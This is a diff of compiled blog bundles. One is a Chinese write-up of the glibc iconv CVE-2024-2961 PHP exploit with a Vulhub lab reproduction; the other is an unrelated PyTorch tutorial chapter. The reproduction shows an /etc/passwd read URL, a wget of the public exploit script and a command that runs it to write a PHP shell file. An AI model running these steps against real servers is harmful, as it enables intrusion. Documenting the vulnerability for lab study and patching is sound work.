width="1" height="1" />\n</svg>\n'})}),"\n",(0,s.jsx)(n.p,{children:"HTML \u5230 PDF \u89e3\u6790\u5668\uff08\u5982 dompdf\u3001tcpdf \u7b49\uff09\u4e5f\u53ef\u80fd\u662f\u76ee\u6807\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u7c7b\u5b9e\u4f8b\u5316",children:"\u7c7b\u5b9e\u4f8b\u5316"}),"\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\uff0c\u5728\u653b\u51fbPHP\u65f6\uff0c\u4f1a\u9047\u5230\u4ee5\u4e0b\u539f\u8bed\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"new $_GET['cls']($_GET['argument']);\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.a,{href:"https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/",children:"This excellent blogpost from PTswarm"})," describes many ways to get a file read from this primitive, which may all be used to trigger the exploit. Examples include ",(0,s.jsx)(n.code,{children:"SoapClient"}),", ",(0,s.jsx)(n.code,{children:"Imagick"}),", ",(0,s.jsx)(n.code,{children:"tidy"}),", or ",(0,s.jsx)(n.code,{children:"SimpleXMLElement"}),".\n\u8fd9\u7bc7\u6765\u81ea ",(0,s.jsx)(n.a,{href:"https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/",children:"PTswarm"})," \u7684\u4f18\u79c0\u535a\u6587\u63cf\u8ff0\u4e86\u4ece\u8fd9\u4e2a\u539f\u8bed\u4e2d\u8bfb\u53d6\u6587\u4ef6\u7684\u591a\u79cd\u65b9\u6cd5\uff0c\u8fd9\u4e9b\u65b9\u6cd5\u90fd\u53ef\u80fd\u7528\u4e8e\u89e6\u53d1\u6f0f\u6d1e\u5229\u7528\u3002\u793a\u4f8b\u5305\u62ec ",(0,s.jsx)(n.code,{children:"SoapClient"})," \u3001 ",(0,s.jsx)(n.code,{children:"Imagick"})," \u3001 ",(0,s.jsx)(n.code,{children:"tidy"})," \u6216 ",(0,s.jsx)(n.code,{children:"SimpleXMLElement"})," \u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb",children:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb"}),"\n",(0,s.jsxs)(n.p,{children:["\u5982\u679c\u60a8\u53d1\u73b0\u6587\u4ef6\u8bfb\u53d6 ",(0,s.jsx)(n.code,{children:"unserialize()"})," \u5c0f\u5de5\u5177\u94fe\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u8be5\u6f0f\u6d1e\u5c06\u5176\u5347\u7ea7\u5230 RCE\u3002\u968f\u7740\u6700\u8fd1\u7684\u5e94\u7528\u7a0b\u5e8f\u4ee5\u53ca PHP \u5e93\u8d8a\u6765\u8d8a\u591a\u5730\u4f7f\u7528\u7c7b\u578b\u8fd9\u4e00\u4e8b\u5b9e\uff0c\u5b83\u53ef\u80fd\u4f1a\u6d3e\u4e0a\u7528\u573a\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u5176\u4ed6\u4eba\u53ef\u80fd",children:"\u5176\u4ed6\u4eba\uff0c\u53ef\u80fd"}),"\n",(0,s.jsx)(n.p,{children:"\u53ea\u8981\u60a8\u63a7\u5236\u6587\u4ef6\u8bfb\u53d6\u6216\u6587\u4ef6\u5199\u5165\u63a5\u6536\u5668\u7684\u524d\u7f00\uff0c\u60a8\u5c31\u62e5\u6709\u4e86 RCE\uff01"}),"\n",(0,s.jsx)(n.h2,{id:"\u65f6\u95f4\u7ebf",children:"\u65f6\u95f4\u7ebf"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u53bb\u5e74 Crash \u53d1\u73b0"}),"\n",(0,s.jsx)(n.li,{children:"2\u6708 \u5f00\u59cb\u5904\u7406\u9519\u8bef"}),"\n",(0,s.jsx)(n.li,{children:"3 \u6708 26 \u65e5 Bug \u62a5\u544a\u7ed9 glibc \u5b89\u5168\u56e2\u961f"}),"\n",(0,s.jsx)(n.li,{children:"4 \u6708 4 \u65e5 Bug \u62a5\u544a\u7ed9 linux \u53d1\u884c\u7248"}),"\n",(0,s.jsx)(n.li,{children:"4 \u6708 17 \u65e5\u6f0f\u6d1e\u4f5c\u4e3a CVE-2024-2961 \u53d1\u5e03"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1aglibc \u5b89\u5168\u56e2\u961f\u901f\u5ea6\u5feb\u3001\u5f6c\u5f6c\u6709\u793c\u4e14\u6280\u672f\u80fd\u529b\u5f3a\u3002\u4ed6\u4eec\u5728\u4e00\u5468\u5185\u53d1\u5e03\u4e86\u4e00\u4e2a\u8865\u4e01\uff08\u4ee5\u53ca\u968f\u4e4b\u800c\u6765\u7684\u6240\u6709\u8865\u4e01\uff09\u3002\u975e\u5e38\u611f\u8c22\uff01*"}),"\n",(0,s.jsx)(n.h2,{id:"\u7ed3\u8bba",children:"\u7ed3\u8bba"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"CNEXT (CVE-2024-2961)"})," \u7cfb\u5217\u6587\u7ae0\u7684\u7b2c\u4e00\u90e8\u5206\u5230\u6b64\u7ed3\u675f \u3002\u8be5\u6f0f\u6d1e\u73b0\u5df2\u5728\u6211\u4eec\u7684 ",(0,s.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits/",children:"GitHub"})," \u4e0a\u63d0\u4f9b\u3002\u8fd8\u6709\u5f88\u591a\u4e1c\u897f\u9700\u8981\u63a2\u7d22\uff1a\u76f4\u63a5\u8c03\u7528\u5462 ",(0,s.jsx)(n.code,{children:"iconv()"})," \uff1f\u5982\u679c\u8bfb\u53d6\u7684\u6587\u4ef6\u662f\u76f2\u6587\u4ef6\uff0c\u4f1a\u53d1\u751f\u4ec0\u4e48\u60c5\u51b5\uff1f"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u7b2c 2 \u90e8\u5206\u4e2d\uff0c\u6211\u4eec\u5c06\u66f4\u6df1\u5165\u5730\u7814\u7a76 PHP \u5f15\u64ce\uff0c\u4ee5\u5b9a\u4f4d\u5728\u975e\u5e38\u6d41\u884c\u7684 PHP \u7f51\u7edc\u90ae\u4ef6\u4e2d\u53d1\u73b0\u7684 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u8c03\u7528\u3002\u6211\u5c06\u63cf\u8ff0\u8fd9\u79cd\u76f4\u63a5\u8c03\u7528\u5bf9 PHP \u751f\u6001\u7cfb\u7edf\u7684\u5f71\u54cd\uff0c\u5e76\u5411\u60a8\u5c55\u793a\u4e00\u4e9b\u610f\u60f3\u4e0d\u5230\u7684\u63a5\u6536\u5668\u3002\u6700\u540e\uff0c\u5728\u7b2c 3 \u90e8\u5206\u4e2d\uff0c\u6211\u4eec\u5c06\u4ecb\u7ecd\u76f2\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\u5229\u7528\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u656c\u8bf7\u5173\u6ce8\uff01"}),"\n",(0,s.jsx)(n.h1,{id:"vulhub\u590d\u73b0",children:"VULHUB\u590d\u73b0"}),"\n",(0,s.jsxs)(n.p,{children:["GNU C \u662f\u4e00\u4e2a\u6807\u51c6\u7684ISO C\u4f9d\u8d56\u5e93\u3002\u5728GNU C\u4e2d\uff0c",(0,s.jsx)(n.code,{children:"iconv()"}),"\u51fd\u65702.39\u53ca\u4ee5\u524d\u5b58\u5728\u4e00\u5904\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5e94\u7528\u7a0b\u5e8f\u5d29\u6e83\u6216\u8986\u76d6\u76f8\u90bb\u53d8\u91cf\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5982\u679c\u4e00\u4e2aPHP\u5e94\u7528\u4e2d\u5b58\u5728\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528",(0,s.jsx)(n.code,{children:"iconv()"}),"\u7684\u8fd9\u4e2aCVE-2024-2961\u6f0f\u6d1e\uff0c\u5c06\u5176\u63d0\u5347\u4e3a\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u53c2\u8003\u94fe\u63a5\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1",children:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u73af\u5883",children:"\u6f0f\u6d1e\u73af\u5883"}),"\n",(0,s.jsx)(n.p,{children:"\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u542f\u52a8\u4e00\u4e2aPHP 8.3.4\u670d\u52a1\u5668\uff0c\u5176\u4f7f\u7528iconv 2.36\u4f5c\u4e3a\u4f9d\u8d56\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"docker compose up -d\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u670d\u52a1\u542f\u52a8\u540e\uff0c\u4f60\u53ef\u4ee5\u901a\u8fc7",(0,s.jsx)(n.code,{children:"http://your-ip:8080/index.php?file=/etc/passwd"}),"\u8fd9\u4e2a\u94fe\u63a5\u8bfb\u53d6",(0,s.jsx)(n.code,{children:"/etc/passwd"}),"\u6587\u4ef6\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u590d\u73b0",children:"\u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u4f7f\u7528\u539f\u4f5c\u8005\u7ed9\u51fa\u7684",(0,s.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits",children:"exploit"}),"\u524d\uff0c\u4f60\u9700\u8981\u51c6\u5907\u4e00\u4e2aLinux\u73af\u5883\u548cPython 3.10\u89e3\u91ca\u5668\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b89\u88c5\u4f9d\u8d56\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"pip install pwntools\npip install https://github.com/cfreal/ten/archive/refs/heads/main.zip\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\u4ece",(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py%E4%B8%8B%E8%BD%BDPOC%E5%B9%B6%E6%89%A7%E8%A1%8C%EF%BC%9A",children:"https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\u4e0b\u8f7dPOC\u5e76\u6267\u884c\uff1a"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\npython cnext-exploit.py http://your-ip:8080/index.php \"echo '<?=phpinfo();?>' > shell.php\"\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112571.png-.png",alt:"img"})}),"\n",(0,s.jsxs)(n.p,{children:["\u53ef\u89c1\uff0c\u6211\u4eec\u5df2\u7ecf\u6210\u529f\u5199\u5165",(0,s.jsx)(n.code,{children:"shell.php"}),"\uff1a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112572.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.h1,{id:"\u8f6c\u8f7d",children:"\u8f6c\u8f7d"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md",children:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1#cve-2024-2961-a-bug-in-the-glibc",children:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1#cve-2024-2961-a-bug-in-the-glibc"})}),"\n"]})]})}function x(e={}){const{wrapper:n}={...(0,d.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(t,{...e})}):t(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/594a85d6.209253d8.js b/en/assets/js/594a85d6.209253d8.js new file mode 100644 index 0000000..06033c3 --- /dev/null +++ b/en/assets/js/594a85d6.209253d8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9323],{13578:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>x,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e09\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/"},"next":{"title":"3.2 \u57fa\u672c\u914d\u7f6e.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e"}}');var r=t(74848),l=t(28453);const i={},c="3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md",d={},o=[];function h(n){const e={h1:"h1",header:"header",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"31-\u601d\u8003\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206md",children:"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"31-\u601d\u8003\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206",children:"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e00\u9879\u673a\u5668\u5b66\u4e60/\u6df1\u5ea6\u5b66\u4e60\u4efb\u52a1\u7684\u6574\u4f53\u6d41\u7a0b"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u673a\u5668\u5b66\u4e60\u548c\u6df1\u5ea6\u5b66\u4e60\u7684\u6bcf\u4e2a\u90e8\u5206\u7684\u4f5c\u7528"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e00\u9879\u673a\u5668\u5b66\u4e60\u4efb\u52a1\u65f6\u5e38\u5e38\u6709\u4ee5\u4e0b\u7684\u51e0\u4e2a\u91cd\u8981\u6b65\u9aa4\uff0c\u9996\u5148\u662f",(0,r.jsx)(e.strong,{children:"\u6570\u636e\u7684\u9884\u5904\u7406"}),"\uff0c\u5176\u4e2d\u91cd\u8981\u7684\u6b65\u9aa4\u5305\u62ec\u6570\u636e\u683c\u5f0f\u7684\u7edf\u4e00\u3001\u5f02\u5e38\u6570\u636e\u7684\u6d88\u9664\u548c\u5fc5\u8981\u7684\u6570\u636e\u53d8\u6362\uff0c\u540c\u65f6",(0,r.jsx)(e.strong,{children:"\u5212\u5206\u8bad\u7ec3\u96c6\u3001\u9a8c\u8bc1\u96c6\u3001\u6d4b\u8bd5\u96c6"}),"\uff0c\u5e38\u89c1\u7684\u65b9\u6cd5\u5305\u62ec\uff1a\u6309\u6bd4\u4f8b\u968f\u673a\u9009\u53d6\uff0cKFold\u65b9\u6cd5\uff08\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528sklearn\u5e26\u7684test_train_split\u51fd\u6570\u3001kfold\u6765\u5b9e\u73b0\uff09\u3002\u63a5\u4e0b\u6765",(0,r.jsx)(e.strong,{children:"\u9009\u62e9\u6a21\u578b"}),"\uff0c\u5e76\u8bbe\u5b9a",(0,r.jsx)(e.strong,{children:"\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u65b9\u6cd5"}),"\uff0c\u4ee5\u53ca\u5bf9\u5e94\u7684",(0,r.jsx)(e.strong,{children:"\u8d85\u53c2\u6570"}),"\uff08\u5f53\u7136\u53ef\u4ee5\u4f7f\u7528sklearn\u8fd9\u6837\u7684\u673a\u5668\u5b66\u4e60\u5e93\u4e2d\u6a21\u578b\u81ea\u5e26\u7684\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\uff09\u3002\u6700\u540e\u7528\u6a21\u578b\u53bb\u62df\u5408\u8bad\u7ec3\u96c6\u6570\u636e\uff0c\u5e76\u5728",(0,r.jsx)(e.strong,{children:"\u9a8c\u8bc1\u96c6/\u6d4b\u8bd5\u96c6\u4e0a\u8ba1\u7b97\u6a21\u578b\u8868\u73b0"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6df1\u5ea6\u5b66\u4e60\u548c\u673a\u5668\u5b66\u4e60\u5728\u6d41\u7a0b\u4e0a\u7c7b\u4f3c\uff0c\u4f46\u5728\u4ee3\u7801\u5b9e\u73b0\u4e0a\u6709\u8f83\u5927\u7684\u5dee\u5f02\u3002\u9996\u5148\uff0c",(0,r.jsx)(e.strong,{children:"\u7531\u4e8e\u6df1\u5ea6\u5b66\u4e60\u6240\u9700\u7684\u6837\u672c\u91cf\u5f88\u5927\uff0c\u4e00\u6b21\u52a0\u8f7d\u5168\u90e8\u6570\u636e\u8fd0\u884c\u53ef\u80fd\u4f1a\u8d85\u51fa\u5185\u5b58\u5bb9\u91cf\u800c\u65e0\u6cd5\u5b9e\u73b0\uff1b\u540c\u65f6\u8fd8\u6709\u6279\uff08batch\uff09\u8bad\u7ec3\u7b49\u63d0\u9ad8\u6a21\u578b\u8868\u73b0\u7684\u7b56\u7565\uff0c\u9700\u8981\u6bcf\u6b21\u8bad\u7ec3\u8bfb\u53d6\u56fa\u5b9a\u6570\u91cf\u7684\u6837\u672c\u9001\u5165\u6a21\u578b\u4e2d\u8bad\u7ec3"}),"\uff0c\u56e0\u6b64\u6df1\u5ea6\u5b66\u4e60\u5728\u6570\u636e\u52a0\u8f7d\u4e0a\u9700\u8981\u6709\u4e13\u95e8\u7684\u8bbe\u8ba1\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u6a21\u578b\u5b9e\u73b0\u4e0a\uff0c\u6df1\u5ea6\u5b66\u4e60\u548c\u673a\u5668\u5b66\u4e60\u4e5f\u6709\u5f88\u5927\u5dee\u5f02\u3002\u7531\u4e8e\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u5c42\u6570\u5f80\u5f80\u8f83\u591a\uff0c\u540c\u65f6\u4f1a\u6709\u4e00\u4e9b\u7528\u4e8e\u5b9e\u73b0\u7279\u5b9a\u529f\u80fd\u7684\u5c42\uff08\u5982\u5377\u79ef\u5c42\u3001\u6c60\u5316\u5c42\u3001\u6279\u6b63\u5219\u5316\u5c42\u3001LSTM\u5c42\u7b49\uff09\uff0c\u56e0\u6b64",(0,r.jsx)(e.strong,{children:"\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u5f80\u5f80\u9700\u8981\u201c\u9010\u5c42\u201d\u642d\u5efa\uff0c\u6216\u8005\u9884\u5148\u5b9a\u4e49\u597d\u53ef\u4ee5\u5b9e\u73b0\u7279\u5b9a\u529f\u80fd\u7684\u6a21\u5757\uff0c\u518d\u628a\u8fd9\u4e9b\u6a21\u5757\u7ec4\u88c5\u8d77\u6765"}),"\u3002\u8fd9\u79cd\u201c\u5b9a\u5236\u5316\u201d\u7684\u6a21\u578b\u6784\u5efa\u65b9\u5f0f\u80fd\u591f\u5145\u5206\u4fdd\u8bc1\u6a21\u578b\u7684\u7075\u6d3b\u6027\uff0c\u4e5f\u5bf9\u4ee3\u7801\u5b9e\u73b0\u63d0\u51fa\u4e86\u65b0\u7684\u8981\u6c42\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u662f\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\u7684\u8bbe\u5b9a\u3002\u8fd9\u90e8\u5206\u548c\u7ecf\u5178\u673a\u5668\u5b66\u4e60\u7684\u5b9e\u73b0\u662f\u7c7b\u4f3c\u7684\u3002\u4f46\u7531\u4e8e\u6a21\u578b\u8bbe\u5b9a\u7684\u7075\u6d3b\u6027\uff0c",(0,r.jsx)(e.strong,{children:"\u56e0\u6b64\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\u8981\u80fd\u591f\u4fdd\u8bc1\u53cd\u5411\u4f20\u64ad\u80fd\u591f\u5728\u7528\u6237\u81ea\u884c\u5b9a\u4e49\u7684\u6a21\u578b\u7ed3\u6784\u4e0a\u5b9e\u73b0"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u8ff0\u6b65\u9aa4\u5b8c\u6210\u540e\u5c31\u53ef\u4ee5\u5f00\u59cb\u8bad\u7ec3\u4e86\u3002\u6211\u4eec\u524d\u9762\u4ecb\u7ecd\u4e86GPU\u7684\u6982\u5ff5\u548cGPU\u7528\u4e8e\u5e76\u884c\u8ba1\u7b97\u52a0\u901f\u7684\u529f\u80fd\uff0c\u4e0d\u8fc7",(0,r.jsx)(e.strong,{children:"\u7a0b\u5e8f\u9ed8\u8ba4\u662f\u5728CPU\u4e0a\u8fd0\u884c\u7684"}),"\uff0c\u56e0\u6b64\u5728\u4ee3\u7801\u5b9e\u73b0\u4e2d\uff0c\u9700\u8981\u628a\u6a21\u578b\u548c\u6570\u636e\u201c\u653e\u5230\u201dGPU\u4e0a\u53bb\u505a\u8fd0\u7b97\uff0c\u540c\u65f6\u8fd8\u9700\u8981\u4fdd\u8bc1\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\u80fd\u591f\u5728GPU\u4e0a\u5de5\u4f5c\u3002\u5982\u679c\u4f7f\u7528\u591a\u5f20GPU\u8fdb\u884c\u8bad\u7ec3\uff0c\u8fd8\u9700\u8981\u8003\u8651\u6a21\u578b\u548c\u6570\u636e\u5206\u914d\u3001\u6574\u5408\u7684\u95ee\u9898\u3002\u6b64\u5916\uff0c\u540e\u7eed\u8ba1\u7b97\u4e00\u4e9b\u6307\u6807\u8fd8\u9700\u8981\u628a\u6570\u636e\u201c\u653e\u56de\u201dCPU\u3002\u8fd9\u91cc\u6d89\u53ca\u5230\u4e86\u4e00\u7cfb\u5217",(0,r.jsx)(e.strong,{children:"\u6709\u5173\u4e8eGPU\u7684\u914d\u7f6e\u548c\u64cd\u4f5c"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u6df1\u5ea6\u5b66\u4e60\u4e2d\u8bad\u7ec3\u548c\u9a8c\u8bc1\u8fc7\u7a0b\u6700\u5927\u7684\u7279\u70b9\u5728\u4e8e\u8bfb\u5165\u6570\u636e\u662f\u6309\u6279\u7684\uff0c\u6bcf\u6b21\u8bfb\u5165\u4e00\u4e2a\u6279\u6b21\u7684\u6570\u636e\uff0c\u653e\u5165GPU\u4e2d\u8bad\u7ec3\uff0c\u7136\u540e\u5c06\u635f\u5931\u51fd\u6570\u53cd\u5411\u4f20\u64ad\u56de\u7f51\u7edc\u6700\u524d\u9762\u7684\u5c42\uff0c\u540c\u65f6\u4f7f\u7528\u4f18\u5316\u5668\u8c03\u6574\u7f51\u7edc\u53c2\u6570\u3002\u8fd9\u91cc\u4f1a\u6d89\u53ca\u5230\u5404\u4e2a\u6a21\u5757\u914d\u5408\u7684\u95ee\u9898\u3002\u8bad\u7ec3/\u9a8c\u8bc1\u540e\u8fd8\u9700\u8981\u6839\u636e\u8bbe\u5b9a\u597d\u7684\u6307\u6807\u8ba1\u7b97\u6a21\u578b\u8868\u73b0\u3002"})}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u4ee5\u4e0a\u6b65\u9aa4\uff0c\u4e00\u4e2a\u6df1\u5ea6\u5b66\u4e60\u4efb\u52a1\u5c31\u5b8c\u6210\u4e86\u3002\u6211\u4eec\u5728\u8be6\u7ec6\u8bb2\u89e3\u6bcf\u4e2a\u90e8\u5206\u4e4b\u524d\uff0c\u5148\u68b3\u7406\u4e86\u5b8c\u6210\u5404\u4e2a\u90e8\u5206\u6240\u9700\u7684\u529f\u80fd\uff0c\u4e0b\u9762\u6211\u4eec\u5c31\u53bb\u8fdb\u4e00\u6b65\u4e86\u89e3\u4e00\u4e0bPyTorch\u662f\u5982\u4f55\u5b9e\u73b0\u5404\u4e2a\u90e8\u5206\u7684\uff0c\u4ee5\u53caPyTorch\u4f5c\u4e3a\u4e00\u4e2a\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u62e5\u6709\u7684\u6a21\u5757\u5316\u7279\u70b9\u3002"})]})}function x(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var s=t(96540);const r={},l=s.createContext(r);function i(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof 